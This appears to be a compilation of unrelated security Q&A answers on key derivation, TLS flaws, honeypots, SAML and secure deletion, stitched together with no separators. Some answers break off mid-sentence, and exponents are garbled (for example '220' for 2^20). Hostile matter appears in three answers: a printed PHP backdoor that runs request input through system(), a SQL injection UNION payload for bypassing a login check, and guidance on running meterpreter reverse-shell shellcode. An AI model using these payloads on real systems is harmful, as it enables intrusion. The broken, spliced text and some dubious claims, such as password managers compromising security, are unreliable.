PKCS#8 is a flexible standard; it is a syntax for encoding private keys with optional password-based encryption. The security level that can be achieved depends on the algorithm used to convert the password into a key, and the cryptographic algorithm that works with this key. PKCS#5 defines a number of combinations of password-based key derivation and encryption algorithm.

For instance, suppose that you use PBKDF2 with HMAC/SHA-1 for key derivation, and 3DES for encryption. 3DES accepts a 192-bit key; however, only 168 of these bits are really used. SHA-1 output has size 160-bit, and this imposes a hard limit of 160 bits to the security of PBKDF2 with HMAC/SHA-1. Therefore, with that combination, it makes little sense to use a password with more than 160 bits of entropy.

Entropy is not automatically derived from password length, but if you use random characters (uniformly random characters, chosen independently of each other -- i.e. not at all the kind of password that a human user could come up with) then the relationship between length and entropy is easy. There are 95 printable ASCII characters (not including space) so each random character brings about 6.57 bits of entropy (because 26.57 is approximately equal to 95). Therefore, 160 bits of entropy are achieved with 25 characters. With these algorithms, it would make no sense whatsoever to use more than 25 characters, as long as these characters really are chosen randomly, uniformly and independently of each other.

In fact, password-based key derivation functions like PBKDF2 include thousands of iterations so that any attempt at exhaustive search would be slowed down; this is equivalent to some extra bits of entropy (in that context). If there are, say, 1000000 iterations, then these count as 20 bits (because 220 is approximately equal to 1000000, and each PBKDF2 iteration roughly implies the same amount of work as an elementary 3DES encryption block). From the figure above, account for these 20 bits by removing 3 characters, down to 22. Of course this depends on the iteration count that you are really using.

Arguably, going beyond 128 bits of entropy is already a big waste of time.

To get more information on these subjects, read the following answers:

Theory and practice of password hashing and password-based key derivation
Detailed examples of password entropy computations
How to choose the number of iterations in PBKDF2
Considerations on hard limits on computational complexity accessible to Mankind


HMAC is an implementation of MAC.

MAC is just a name given to tools that authenticate messages.

HMAC is the name of an implementation of a MAC system using hash functions.

So there is no better one since 'a cryptographic hash function is only one of the possible ways to generate a MAC'.

Edit: see also this SO question over on crypto


Possible to decode md5 hash of a malicious URL?

Is it possible to decode the md5 hash, and therefore learn which malicious website was using the back doors to my server?

As for the (in)feasibilty to decode the md5 hash see for example here. In short: if it is simple you can brute force it, if it is complex it will be infeasible.

But even if you would be able to decode the hash: it does not contain the information you want, i.e. to know who is using the backdoor. This hash instead is just the hash of a password and if the password (parameter p) does not fit the predefined hash then the code will not be executed:

$c = "2caf6917ca3d9a3a85d26029ed623b1a";
$p = md5(urldecode($_REQUEST["p"]));
if ($p != $c) exit;

The command to execute instead is inside the parameter s:

$s = urldecode($_REQUEST["s"]);
if ($s == "") exit;
system($s);

But even this does not tell you who is using the backdoor but only what the attacker is doing. To get more information about the attacker you actually would need to look into the access log of your server. With luck you might find requests to your site with a path like this:

 /compromised.php?p=<password>&s=<command>

From this log you get the password and the command and you get also usually the IP address of the client which accessed the URL - i.e. the public IP address of the attacker. Note that this does not need to be the real IP address of the attacker since the attacker could use other systems (like a botnet) as jump hosts or could even embed this malicious action as URL into some site where it gets called by an innocent visitor - although in this case the attacker unlikely gets the output of the command.

Note that the request parameters might also be send as parameters inside a POST request in which case you only see the access to the compromised PHP script but not the parameters in the log. Yet, you still have the source IP address and you know when the backdoor was called. And you might disarm the backdoor (i.e. disable the call to system) and instead log parameters in the hope that the attacker will still try to use the backdoor.


SQL Map is probably the best tool out there. It is on the command line, however, I did find this GUI for it. I haven't used it, but hopefully it will suit your needs.


Actually, it's worse than that. With the over-sharing that is so common on sites like Facebook and personal blogs, complete strangers can find out all sorts of useful information for hacking security questions.

My best advice is that when you are forced to supply an answer to a trivial question ... lie.

What is your mother's maiden name? McGillicuddy

What was your first car? 1952 Yugo

What city were you born in? Randomville, Wyoming

Actually I was born in the Chicago area and her maiden name was "Smith", and you could find that out fairly easily, but a good lie that you can remember is much better.


Windows Hello IS a FIDO authenticator. If you don't have a Windows Hello security key (e.g. Yubikey) you can use Windows Hello. That requires a TPM. You shouldn't need a TPM to authenticate using an external key.


Detecting heartbleed without sending a heartbeat packet (Heartbleed specific)

As you've already noticed there is no way to reliably get the OpenSSL version by just looking at the servers response. But even if you would somehow know the version (like if sent in the http Server header) you still don't know if the server is affected by the bug or not, since most distributions just backported the bugfix to the OpenSSL version they shipped and did not upgrade to a newer version.

As for other ways to check for the bug: they only way to check is to trigger the bug which means that you need to send a packet using the heartbeat extension.


How are various softwares' files/information kept safe from me, the user

Passwords are stored on the computer as hashes, those are only one-way. You can hash a value, but you can't retrieve the value back.
The authentication works like this :

Create password, hash it, then store it.
The user tries to login, the password he puts in gets hashed, and is then compared to the hash stored on the computer.

Popular hashing algorithms are:
Sha-2, MD5, NTLMv2 (windows 7 and 8 use this one)

Edit:
Also, an addition:

Usually you hash something multiple times, for example 1000 times, this way it is longer to compute, and brute force attacks (trying each possible password, and comparing it with your hash) take longer.

You also use a salt, which is stored unencrypted next to the password, which is just some high number, and differs for each password. This way when there are two similair passwords, the attacker won't notice it.


Executing a msfvenom shellcode in C program

As was mentioned in the comments, you have a couple of different problems:

You're using 32-bit shellcode in a 64-bit binary.  This will have problems because it is likely to refer to the stack pointer as esp instead of rsp, etc.  You should use the windows/x64/meterpreter/reverse_tcp payload instead, or produce a 32-bit binary (which will run fine on a 64-bit Windows system, as they have backwards compatibility).
Your code will be placed in the stack of the application, leading to DEP preventing it from being executable.  You'll need to VirtualAlloc memory that is both writable and executable and copy your shellcode into it before executing.  You don't need to create a new thread to just have it execute as the main body of your executable.  There's a great example of doing just this.


Why is my answer to this security exam prep question incorrect?

A switch does not map just one MAC address per port. Multiple nodes can connect to a second hub or switch, which will be connected to the first switch on a single port.

An eavesdropper listening on that port can potentially listen to the network traffic of all hosts connected to the second network device whose destination is a host on the first switch.


What flexibility does a "Third party gamma" offer to U-Prove deployment?

I try to answer your question (hope I understood it correctly, if not please let me know). I did not find the comment in the given link.

First of all in U-Prove you are able to use a blinded gamma (I guess that's what you ment). The blinded gamma comes from the Attribute Authority (AA). With this blinded gamma the Issuer is not able to see the attributes and there values which he puts into the token. But if you have this situation, the Issuer must fully trust the AA. How the blinded gamma works, please see U-Prove Collaborative Issuance
Extension.

To your two examples, the gamma is calculated from the AA itself and sent to the Issuer and Prover (he gets the unblinding information too, to verify if the attributes are correct). If you want to have more than just the attributes from one AA you have to collect them somewhere before calculating the blinded gamma (I wouldnt recommend this, because this is nearly the same as


Besides searching CERT, what other methods are available to help accomplish this task?

Look for vendor specific patterns and penelize any vendors which

have lots of vulnerabilities
take a lot of time for fixes
expire products too quickly, i.e. make them obsolete after only few years and stop supporting them
make it hard for you to find the updates

Check if the router can auto-update itself.
Check if it comes with sensible and secure defaults.
Make sure it is hard to be configured insecure, i.e. warns users when switching off WiFi security, disabling password... .
Make sure that there are no commonly known admin passwords, WPA keys or similar, i.e. the user should be forced to change any such default settings.

If these things show that the vendor has the right mindset regarding security then the systems will probably be more secure too. routersecurity.org has lots of information which will help you with this research.


POODLE vulnerability solution : Effect on customer or client side

Disabling SSL3.0 is one of the ways of mitigating POODLE attack. The other way is to apply the TLS_FALLBACK_SCSV patch. There are downsides for TLS_FALLBACK_SCSV as well:

Microsoft doesn't support it yet. A bug has been raised in this regard: https://connect.microsoft.com/IE/feedback/details/1002874/internet-explorer-should-send-tls-fallback-scsv
Both the SSL peers are required to support this cipher suite. i.e., even if your server supports it and the clients coming in dont, we're still vulnerable to POODLE attack.

Now since Microsoft doesnt support TLS_FALLBACK_SCSV yet, the only option for you is to disable SSL3.0. Lets come to the implications of doing this:

The IE6 browser which doesnt support SSL versions greater than SSL3.0 will NOT be able to establish a SSL communication with your server.
All other browsers will support TLS1.0 at least. Since you allow TLS1.0 in your server, they will be able to communicate using that.
For clients advertising versions > TLS1.0, there's no problem at all(since you allow those versions as well)

The reason why SSL3.0 is vulnerable to POODLE is that when it uses CBC mode ciphers, the SSL design doesn't mention that after decrypting the blocks, the padding block needs to be validated. (why is this a problem?: https://www.imperialviolet.org/2014/10/14/poodle.html).

The reason why TLS is not vulnerable is because, it explicitly states that the padding block needs to be checked for a specific pattern. (OpenSSL and most other implementations of TLS fills the padding block with |length of padding block|).

Since this vulnerability exists only if the server and client agree upon a CBC mode cipher, another way to mitigate POODLE attack is to use non-CBC mode ciphers like RC4. But this is NOT recommended as RC-4 ciphers have their own list of weaknesses.


Your question is quite unclear on the particulars, so I assume that you mean the following:

You have some sort of VPN going on between machine A and machine B, and the VPN encapsulates all IP packets from A to B and from B to A within an encrypted tunnel which probably uses SSL/TLS for the encryption part.
The VPN picks up all packets, whether they relate to TCP, UDP or ICMP.
You are wondering whether making the ICMP Echo packets (aka "ping") travel outside of the VPN, unprotected, would open vulnerabilities.

Under these conditions, the answer seems to be "no, it does not open any vulnerability", under the following argument: VPN protection is about protecting some specific traffic, between A and B, against interference from outsiders. As long as your "important traffic", the one you wish to protect, still goes through the VPN, then that traffic will keep on being protected. Note, though, the following points:

It may be hard to configure a VPN software to exclude, explicitly, ICMP Echo requests and replys, but still include TCP and, crucially, other ICMP message types. While the "ping" protocol is pretty benign, some other ICMP messages can be important for proper network traffic propagation. Also, since a "ping" consists in a request and then a reply, both ends of the tunnel (machines A and B) should be configured to not-protect the ICMP packet.
You do a "ping" for a reason. If the "ping" is unprotected, then it can be altered by attackers, which may impact the reason why you do the ping. Attackers could block either the request or the reply, simulating a "down" machine (arguably, if they can do that, they can also block all the VPN traffic as well, so that point could be quite moot).
A "ping" going outside of the VPN tests whether the machine on the other side is up and running, but, by definition, it will not test whether the VPN link is also up and running. The other machine could be up but the VPN service down, and then the "ping" will not tell it to you. Thus, handling the "ping" outside of the VPN does not offer the same functionality as an in-VPN "ping".
Similarly, in many VPN setups, one of the machines actually is a complete local network containing many machines with private IP addresses. A "ping" request going through the VPN can be directed to any of these machines with private IP. A "ping" outside of the VPN can reach only machines with a non-private, Internet-reachable IP address, i.e. the VPN gateway. There again, functionality is different.

This also begs the question: why would you want an "unprotected" ping ? The only reason I see is when the VPN appears to be down or unresponsive, and you want to know whether the culprit is the VPN software on the other side, or the network in-between.


How do you analyze the data collected from honeypot software?

So there are quite a few things you can do. Like AviD said you really need to know what your goal is with the honeypot before you even set it up.

Watch behavior. Depending on the type of honeypot you have, you may see certain types of behavior that you can use to characterize the person attacking you. For example...If the attacker always sends 1 ICMP packet as if they ran the command ping -c 1 x.x.x.x. Or if you have a higher interaction honeypot, if they constantly run the ls command...quirks like that. If the attacker returns then you may be able to recognized him based off of these.
Big organizations who deal with huge numbers of attacks (and successful attacks) will sometimes build honeypot networks that they put compromised computers into. They watch the attacker and figure out what they may be after, what their goals were, and who they might be. This may help you decide if changes need to be made to your security policy.
If they are really crummy you may be able to figure out who they are (I've seen this happen often with botnets). Do with this information what you like...Build a court case or whatever you want...

If you were asking more of a technical How to sift through logs then you will need standard linux command line kung fu. Grep and awk are youre friends. Or you can use a tool to build a timeline like Zeitline or some other one.

Your course of action really depends on the data you collected. If there is IRC traffic then of course you want to investigate it. If you discover executables downloaded then you want to investigate that. Literally everything that is out of ordinary you want to investigate. tcprelay and security onion may be really really helpful in figuring what happened because it will help you create a timeline and see everything you asked about.

Hope I was helpful.


Best practises for preventing SQL injection?

Already very good answers on this question, however I would like to mention some more:

Secure coding (which is already been mentioned by many already)

Escaping user input
Parameterized queries (prepared statements, predefined queries where you only bind
variables)
Code defensively

Monitoring for attacks

Network Intrusion Detection System (NIDS)
Host Intrusion Detection System (HIDS)
Application Intrusion Detection System (AppIDS)

Block attacks

Application firewall
Database firewall
Web application firewall

Apache ModSecurity
Cisco Application Velocity System (AVS)

Probe for vulnerabilities

Automated blackbox injection testing
Static source code analysis
Manual penetration testing

This is only for prevention and I have not taken sql server hardening into account. There is however many similarities.

Additional defenses in case you are already vulnerable to injection would be:

Running your application with the least amount of grants necessary

Specifically grant only access to the database and tables you need
Be sure to only grant the privilege it needs (usually select, insert, update)


Relative costs involved in making changes to the current organisational security

Neither, you're being asked to evaluate the costs involved in making changes to procedures. That's all your quote says. Generally those costs will be people costs. In security that may mean how much more effort it is to do things right when building a server, or patching. It could mean how much it will cost to have a working 24x7 incident response.

First you need to do a gap analysis between current procedure and what procedures need to be in order to satisfy policy and security goals, then to perform an analysis on what it will take to change the procedures. They may want that compared to the potential cost of a breach, or the cost of loss of compliance, etc.


Can a malware steals my Facebook c_user, xs, and datr Cookies?

For chrome, cookies are stored in an SQLite database file and are protected the same way stored passwords are (on Windows, essentially they can only be decrypted on the same device, see my other answer for more details on how this works). This means that any malware that can steal stored chrome passwords can also decrypt and steal the cookies if it wants to.


Web-based KeePass-like solution security

Lots of potential problems here.

First, you're using PHP, and it's hard to do things correctly (like avoiding SQL injection, encrypting securely, etc.) in PHP. It's not impossible, by any means, but it's unreasonably difficult.

Second, as a commenter pointed out, you're hashing a password with SHA256 to generate the key.  This is bad.  Use a proper PBKDF, like bcrypt.

Third, you're using the 256-byte block-size version of Rijndael, which is just odd.  Don't, like so many others have before you, confuse this with AES-256.

Fourth, don't encrypt the data directly with the derived key.  Encrypt it with a data encryption key which is securely randomly generated, and  which then in turn is protected with the user's password derived key.  This way the user can change their master encryption password without you then having to synchronously decrypt all of their passwords with the old key, and re-encrypt them with the new key.   You only need to re-encrypt the data-encryption-key with the key-encryption-key.

Fifth, logging, rate-limited, IDS.  You need to have a system in place to dampen attacks, and let you know when their happening.

That's enough for now. I'm sure there are many more pitfalls...This is just a list from my initial glance.   I would strongly encourage you to abandon this project entirely, and look for an existing, reasonably well proven solution like 1Password for Teams, or something along those lines instead.  Building a system like this is fraught with danger, and the code sample you provided indicates to me that you probably do not yet have the knowledge required to accomplish it with any reasonable level of confidence in its security.  And that's not a knock against you...These are simply incredible difficult systems to build securely, and someone attempting to do it for the first time without guidance beyond what the Internet can provide, won't.


If your system is compromised, you can't trust the OSSEC logs or any other logs generated from that machine. OSSEC is good for detecting new intrusions through log analysis. The command you give is used to detect which OSSEC rule will match the given log. So you are piping all the log files to the ossec-logtest utility and finding out if something matches then you are assuming that the system is already compromised. However, the first step an attack do is to clear all the log entries in order to cover his tracks. That is why OSSEC won't help there.
To your question what steps you need, decide which log files you are going to monitor and add the log file entries in the ossec.conf (or agent.conf) file. If you want to monitor certain files/directories for change, you can do that as well. If you have some custom log files that is not parsed by OSSEC out of the box (you can check it through the ossec-logtest), then write custom decoder in the local_decoder.xml. Don't put your decoder in the decoder.xml file because if you update your agent, it will be lost.As a last step if you have a centralized log server, then configure the OSSEC manager to forward all the alerts to the central log server by specifying the IP address in the ossec.conf on the manager side.
Edit: For website security, there are some very good posts by Tony Parez:
OSSEC for Website Security Part I
OSSEC - Detecting New Files - Understanding How it Works


Are ZeroNet websites susceptible to 51% control attack?

In ZeroNet the content of a website is signed with the private key of the owner. This makes it impossible for someone else to change the website and seed it without notice.

An exception are rollbacks to an earlier version as CodesInChaos already mentioned.

The article you linked is about blockchain based systems, but ZeroNet uses the BitTorrent protocol for peer discovery.
This means that the 51% could only stop seeding a site, which does not do any harm to the network.

At the moment ZeroNet also does not use a DHT(distributed hash table), but there are plans to support DHT, which give some attack surface for (distributed) denial of service attacks:
Real-World Sybil Attacks in BitTorrent Mainline DHT

Summary

The attackers might seed an earlier version
The attackers might stop seeding a site

but then they aren't the 51% peers of that site

If an attacker changes a website, other peers will not accept it, because the signature can not be verified.


Does a self-signed certificate offer more protection than a public key?

None. There's no security benefit.

Tools like openssl are designed to work with certificates. This means it's more practical to give openssl a self-signed certificate rather than no cert at all.


Locating device/person who is threatening via a hacked email

While there might be indications and pointers in the email and logs if the offender wasn't careful, email as is doesn't provide any ways of mapping mails to locations.

Content of the mail, including all headers, is totally up to the sender. Thus, you can't trust any info that you extract from the mail itself. I'd call it easy to forge, if there was even the slightest hurdle.

You can look into your server's logs to figure out which host forwarded that mail to you. Usually, that wouldn't make you any smarter - either it's not some large anonymous mail provider abroad, or someone else's mail server, and the account on that used to send the mail might just as well be stolen.


Is there a term for vulnerabilities the need 'help' from target vs vulnerabilities that can be exploited with no actions from the target?

I would describe such vulnerability as needing user interaction.
This is also the term used by CVSS to describe it,


Does it make senss for a company to have a VPN, if all its infrastructure is in the cloud?

Does it make sense to have a VPN for every employee, regardless of what they do?

Well, that depends on your scenario. In a modern cloud infrastructure, where everything runs on publicly accessible web applications that are protected by HTTPS the additional security benefit is rather small and may not justify the operational costs.
Things change however, if you have to rely on insecure protocols like HTTP or if you do not want to expose your servers or services to the public internet. For example, you would not want to expose your administrative interfaces (Web, RDP, SSH, ...) on the internet, as these are highly valuable targets.
Here a VPN allows you to limit the group of people that have access to these services and add an additional encryption layer around an otherwise insecure communication.


inquiry about SHA1 with RSA for certificate signature

The 2048 Bits long field is a container for the results of the hash function. It is long enough to accept the results from a variety of hashing functions.

If the hash function used provides a result that is shorter than 2048, the hash value is padded as other answers have said.

Also note that you should no longer be using SHA-1. If you have US Government clients, then they are NOT allowed to use it. And no one else should be using it either.

In 2011, the US National Institute of Standards issued a regulation (see page 6) that states:

  After December 31, 2013, key lengths providing less than 112 bits of security strength shall not be used to generate digital signatures.

(Emphasis is in the original.) This regulation applies to the US Government, but it is also common for non-government organizations/companies to follow it as an example of best practice.


What is the recommended length for a phone PIN?

I would say the article you read is incorrect. I don't think it is a common opinion of security experts that phone PIN should consist of at least six digits.

At first glance it would seem that six digits is 100 times more secure than four digits. While this may be the case, the aggressive brute-force protection on a phone makes it infeasible to guess a large fraction of the key space. I would say four digits provides adequate security.

If you read it in the lifehacker article, there is a big inconsistency that should be pointed out. The Homeland Security agent testified that the PIN was not relevant:

  The agent was brought to testify that it was trivial enough to extract the data with an IP Box, and thus that it was of no consequence whether or not that passcode was obtained

This seems to indicate that some attackers can bypass the brute-force protection, so a longer PIN will only take a little longer to crack. I don't understand how LifeHacker could use this as a base for an article to increase the PIN size. A better solution would be to upgrade to a better phone or phone OS.

Edit: the IP Box does a brute-force attack, so PIN size does influence the time it would take. This only seems to work on older iOS versions (<= 8.1.1).


SQL Injection not working when I think it should

It's not working because of this:

if($counter == 1)

The injected OR '1'='1' is valid for every single row, and if there are multiple rows in the table, that $counter check will fail.

To get around that, you could do something like this (if I remember my SQL correctly), with anything in $email and this in $password:

' UNION SELECT * FROM User LIMIT 1 --

Nothing will be returned from the first part, but the injected second half of the UNION will get a single arbitrary row.


Kaspersky Antivirus "secure connection scan" as broken as Superfish?

Hopefully, someone will do the testing and give a definitive answer for Kaspersky for you. Meanwhile, here's an answer for the general case:

It depends.

Does running an SSL proxy against yourself weaken your security posture? Certainly. Will any given product weaken your security posture as bad as Superfish? That's very implementation-dependent, and also subject to the threats against the individual product itself.

Superfish failed at two critical points.

It used a weak password to protect a private key that was not unique for each system. This resulted in the key being easily breakable and publicly disclosed so that anyone could pretend to be your authorized Superfish proxy.
It failed to properly validate certain conditions on SSL certificates, which allowed the Superfish proxy to accept otherwise-invalid certificates and present the website to the end-user as if it were legitimate.

While the first part is an important break, it's the second bit which is arguably the most critical flaw. Without the second flaw, users would still be relatively well protected so long as the key remained secret. (Kerckhoffs's principle in action.) However, given that second flaw, an attacker wouldn't even need the key to launch a convincing Man-in-the-Middle attack between a Superfish user and an otherwise-secure website.

Taking this into consideration, there's a couple simple countermeasures which can largely protect users.

Generate unique root keys for each installation, protect them with strong and unique passwords, and do not distribute the keys beyond the host on which the proxy resides. This prevents disclosure of the key for one system from having a substantial impact on the security of any others.
Validate SSL certificates properly, and provide appropriate notifications to the user when something is amiss. Without this, the key doesn't much matter - an attacker just needs to convince the proxy that their site is legitimate, by exploiting a flaw in the validation process, and the proxy will present the site as such to the user.

Get these things correct, and you're good to go - right? Well, not quite.

See, now we run into a problem with presenting the certificate to the user. Because the proxy has to intercept the traffic, and re-key it with its own credentials, the user still never sees the original credentials of the site. Every site will appear to have a certificate issued by the proxy, with date and time stamps according to when the proxy generated the MitM cert. This completely removes the user's own ability to decide which CAs or trust paths they hold credible, or to recognize changes in the certificate over time. It also prevents corroboration of the certificate with other trusted external entities.

Take the case of DigiNotar, where an attacker was able to use a commonly-trusted Root CA to generate bogus certificates for Google services. Without an SSL proxy in place, the user may be alerted to suspicious activity by one or more of several means.

A browser plugin or other utility could compare the certificate to other certificates previously seen at the same site by the same user, and alert the user to unexpected changes. (e.g.: Different CA than before, new certificate issued far out-of-sync with previous certificate's expiration, etc.)
A browser plugin or other utility could compare the certificate to certificates reported at that site, by an online community or other trusted authority, and alert the user to unexpected discrepancies (e.g.: 98% of users in your region report seeing a different certificate than the one you're seeing).
A diligent user might check the certificate themselves frequently and notice the unusual changes.

With a proxy, all of these options are no longer available to the end-user. The proxy itself may be configured to watch for, and alert upon, these issues (just as some browser plugins do) but ultimately the end-user still loses the ability to see it for themselves.


Does Google account's "recovery phone" have any benefit if I never forget my password?

Remember that your google account is not only your email. It is everything linked to your google account, form mobile devices, to various applications you are using.

So, you could get locked out due to some app or add-on misbehaving. like Receiving, deleting, or downloading large amount of messages in a short period of time. Or simultaneously logged in/sync synchronizing Gmail on many devices and/or clients and/or locations.

I would say most possible scenario for your case is mis-typing your password in an application that would keep trying to login (particularly if you are in the middle of developing this app) for example.

A second possibility is if you have just changed your password with a new clever one that made sense at the time but next morning  you are not sure if it has a “.” or “_” in it or none at all.  Even though you use your account all the time I assume you are like the rest of us: you do not logout of your account every time you use it and you do not really type in your password all the time.

Now that I addressed the scenarios part of your question, allow me to address the bigger picture here:

You are looking at the problem backwards: your phone is the most important, physical authentication item in your life. If it is lost or stolen AND you didn’t have it locked/password protected then the person who has your phone (until you remotely wipe it and block it) basically owns your life and there is nothing you can do about it. You can lookup many articles on the subject.  Not to mention that if someone used your phone then they already have access to your email accounts because I assume you have them auto-logged in for your phone to check new emails etc.

Conclusion: having your phone number for recovery does not compromise your security because if someone has access to your unlocked phone they already have access to your accounts, no need for recovery phone number…. If your phone is locked, then they have nothing.

A couple of notes I would like to add:

1)  The phrases “use password manager”(as in a program/service that saves your passwords) and “proper security practices” (in my opinion) do not fit in the same sentence. If you use a password manager you have already compromised your security

2)  If you are already use 2FA then you already provided the phone number.


Numbers displayed in random order for password

Officially, that is an attempt to foil keyloggers. In practice, it is just a way to give the user a sense of security by making them jump through hooks: it doesn't provide any practical improvement to the system's security.

Edit: Just to clarify: providing the user with a sense of security is a very valid design goal as long as the designer know this and implement real security behind the scene. For instance, if there is a really secure login scheme implemented but the user never sees it (because it is completely transparent to them) then implementing such security theater tricks will make plenty of economic sense (but it does not improve security).


Automated SAML authentication without user interaction

Some partial answers:

1.1. When you know (from what kind of information? Do you only accept one IDP for all users?) which IDP to use, use it. You can than skip the indirection via DiskoJuice or another IDP choser.

1.2. Doing the authentication yourself defies the purpose of using SAML. You can do Basic authentication  via https instead.

Not necessarily. Each IDP can chose whatever sorftware they want to use. Only the protocol is fixed.
With SAML you only know that the user trying to log in know his credentials (username and password). Use secure connections (https only, don't allow http) to avoid leaking of the credentials and MITM attacks.

EDIT: When you really want to understand SAML, look at the PhD thesis of Thomas Gross here: http://www-brs.ub.ruhr-uni-bochum.de/netahtml/HSS/Diss/GrossThomas/diss.pdf

It contains an in-depth analysis of SAML with rigorous proofs (and counter-examples for SAML 1.0) of security features.


Manufacturer-assigned hard-disk serial number as licensing ID

The hard disk hardware serial number and volume ID can easily be spoofed.  There are even tools available for doing this.  See https://www.raymond.cc/blog/changing-or-spoofing-hard-disk-hardware-serial-number-and-volume-id/.


Id token contains sensitive information sent by the GET method

Passing sensitive or personal information as query parameters is generally considered a problem, as it is revealed in many ways that POST data isn't.  See for instance the similar question "Should sensitive data ever be passed in the query string?"  OWASP has a short description of the problem: Information exposure through query strings in url.

The main problems are generally considered to be

Bookmarks and browser history if someone has access to the browser
Access logs at the intended recipient of the query (or any proxies between you and the recipient)
That the query parameters are included in the "referer" header sent to other servers.

What makes this case particularly interesting is that the information in question is actually a signed ID token.  It can conceivably be used to authenticate the users at other service providers (though this requires a broken implementation at a service provider, a type of confused deputy problem).

Including ID tokens in this manner is actually encouraged by the OpenID Connect standard, as the id_token_hint.  It can be POSTed, but most implementations (few as they are) that I have seen, use query parameters.  So having the developers of your service change this could be challenging.


What you are seeing is not malware, but an ad. Adult sites will very often open one or more new tabs or even windows to partner sites when you click on the page. This is not malicious behavior, although it can be very annoying. Basic ad blocking software should take care of that nicely.

Most of the time when there is malware on adult sites, it is distributed through downloaded executables or through outdated Flash or Java applets. Unless you have Flash installed or are gullible enough to download and run programs from pornographic websites, you should be relatively safe. To increase safety even more, make sure your browser is always up to date to avoid vulnerabilities.


How can I detect (or inventory) all DLLs that don't use ASLR?

If you just want to know if one DLL supports ASLR, then load it into CFF Explorer, go to the Optional Header section, then click on the DllCharacteristics row. If "DLL can move" is checked, then it's ASLR-enabled, otherwise it's not.

If you want to do a lot of them, I would write a Python script that enumerates all DLLs in a target directory, then checks them using the pefile module. This gives you access to all sorts of information, including the DllCharacteristics field of the PE header, which you can check to see if IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE is set. That'll tell you whether it's ASLR-enabled or not.

In terms of preventing them from loading, there's not much you can do. However, you can use EMET to set Mandatory ASLR on a process to enforce that every DLL loaded gets ASLR enabled, regardless of whether it's set in the PE file or not.


Can an OS .iso downloaded from Microsoft.com be compromised after the download?

Can an iso be compromised?  Sure, it can.  What would happen?

Microsoft, to their credit, has gotten a lot better about the security of their operating system.  For at least 10 years now, if a critical file in the OS is replaced with an unrecognized version, the device upon boot would ask for you to insert the original CD.  Windows then would replace the compromised file with the correct one.  So if your ISO gets compromised, unless completely replaced with something that looks like Windows and acts like Windows, you'll run into their OS verification.

WRT stuxnet: I've seen 2 posts about that recently.  That case was a particularly unique one. Although no one's taking credit for it (and many suspect that it was the US and/or Israel, no one knows), it was targeted against a very specific thing - the Iranian nuclear program.  I wouldn't worry as much about that as I would about users doing things they shouldn't do.  Your risks from users and generic malware are MUCH higher than from something like Stuxnet.


Is there any security risk, if the database with key handles for U2F devices are leaked?

Bottom line: If by "risk" you mean risk of exposing your service to the potential for remote attack, then no, there is no additional risk as long as the FIDO U2F tokens have been implemented properly.

However, access to this information does allow someone with physical access (via NFC, for example) to the token to easily confirm whether a given token is associated with a specific account or not. For example, if I suspect an association between a specific person (who uses an NFC U2F token, like a Yubikey NEO) and a user on your website, then I could quite easily verify this suspicion without their knowledge if I can get physically close enough to their token.

Different tokens may also have different lengths of the key handle. If the user uses a token with an unusual key handle length, then this may be be a method for helping to rule out token models.

If there happens to be a weakness in the FIDO U2F implementation on the token a user is using, then there is a chance it could be taken advantage of—but in that case the token's implementation is probably the larger issue.

Ultimately I think the decision to do something like this depends on your security requirements. What are the implications of someone associating one of your accounts to a specific token/person?

Also keep in mind that eliminating the password requirement reduces you back to single factor authentication.


Do I need fail2ban if I have a strong password?

Even if you have a password that is very strong, it's best to block attacks immediately, preferably at firewall level - something that fail2ban and other similar tools do.

You could do nothing and let the hackers pound in vain against your server forever, but that is a waste of CPU and bandwidth. There is no reason why you should allow this.

In addition to these precautions, you should still try to minimize your attack surface, for example you could restrict SSH access to a few dedicated IP addresses if that is an option for you. The idea is to expose as few services as possible.


Does expiring the OAuth refresh token at the same time as the access token have any utility? Or is it just security theater?

The refresh token is not being expired at the same time as the access_token, it's being rotated upon usage.

From section 5.2.2.3 of rfc6819:

  Refresh token rotation is intended to automatically detect and prevent
  attempts to use the same refresh token in parallel from different
  apps/devices. This happens if a token gets stolen from the client and
  is subsequently used by both the attacker and the legitimate client.
  The basic idea is to change the refresh token value with every refresh
  request in order to detect attempts to obtain access tokens using old
  refresh tokens. Since the authorization server cannot determine
  whether the attacker or the legitimate client is trying to access, in
  case of such an access attempt the valid refresh token and the access
  authorization associated with it are both revoked.

(Bolds mine)

FWIW, every OAuth2 provider I used worked this way.


SSL certificates using modern cipher suite vs obsolete cipher suite

There are two different security information shown: about the certificate itself and about the encryption algorithm. The second part (i.e. "obsolete cipher suite...") is independent from the certificate and depends on the setup of the server.

But the first part is about the certificate itself. The main difference here is that the first site uses a certificate from a CA supporting certificate transparency while the second site does not. This means that the first CA is more transparent about the certificates it issued than the second and thus can be more trusted. Certificate transparency is (at least with Chrome) for now primarily required for extended validation (EV) certificates. But in the future Chrome will probably require it for other certificates too.

Another difference in the certificate part is "Unable to check whether the certificate has been revoked". Chrome only checks selected certificates for revocation, like the EV certificates and some others Google thinks are important. Obviously the certificate for the second site was not important enough to get checked against revocation and thus the certificate can be considered less secure, at least within the Chrome browser.

And finally the information for the first site show more information about the site you visit, while for the second site you got no information except who signed the certificate. This is because the first certificate is an EV certificate where the CA checks business information etc to verify the identity of the owner. In contrast the cheaper domain validated (DV) certificates check only if the party owns the domain, by checking if it is has access to specific mail addresses or can create specific files on the server. This is much more easy to spoof and thus these certificates are less trustworthy.

Of course, most clients don't understand all of these anyway but they might understand the difference between a reassuring green bar for EV certificates and only a small indication of security for the other certificates. At the end it is easy for an attacker to get a DV certificate for its own site. But it will be much harder to get an EV certificate because of the additional verification procedures.


What can be recovered? Securely deleted files

There's a lot of questions rolled in there. I'll try to answer a few of them.

This became a bit of a ramble.

TL;DR Secure erase programs like the one you describe worked well on old magnetic disks, but SSD and hybrid HDD/SSD drives work today are more complex and while some drive manufacturers provide secure erase functionality, there are really only two reliable ways to securely delete a file:

1) Select "Full Disk Encryption" in your OS (ie before downloading any suspicious files), and then if you reformat your disk using a different encryption password, the original files will be unrecoverable encrypted blobs.

2) This:

Unfortunately, I think you have a old notion of secure deletion. We need to take a detour into how hard drives work. For an even longer read, see wikipedia.

History of secure erasure

We're going back to the late '80's / early 90's: magnetic tapes and hard drives write data in bands (think vinyl record). As technology increased over time, these bands got closer together, but in the early 90's there was enough unused space between bands that high-precision magnetic equipment could read residual magnetic fields of data even after it had been written over. You'll see in that wikipedia article that in the 90's, NIST / DoD recommended 3, 7 or even 35 passes of zeros or random data to fully wash out all magnetic residue leaking out the sides of the band.

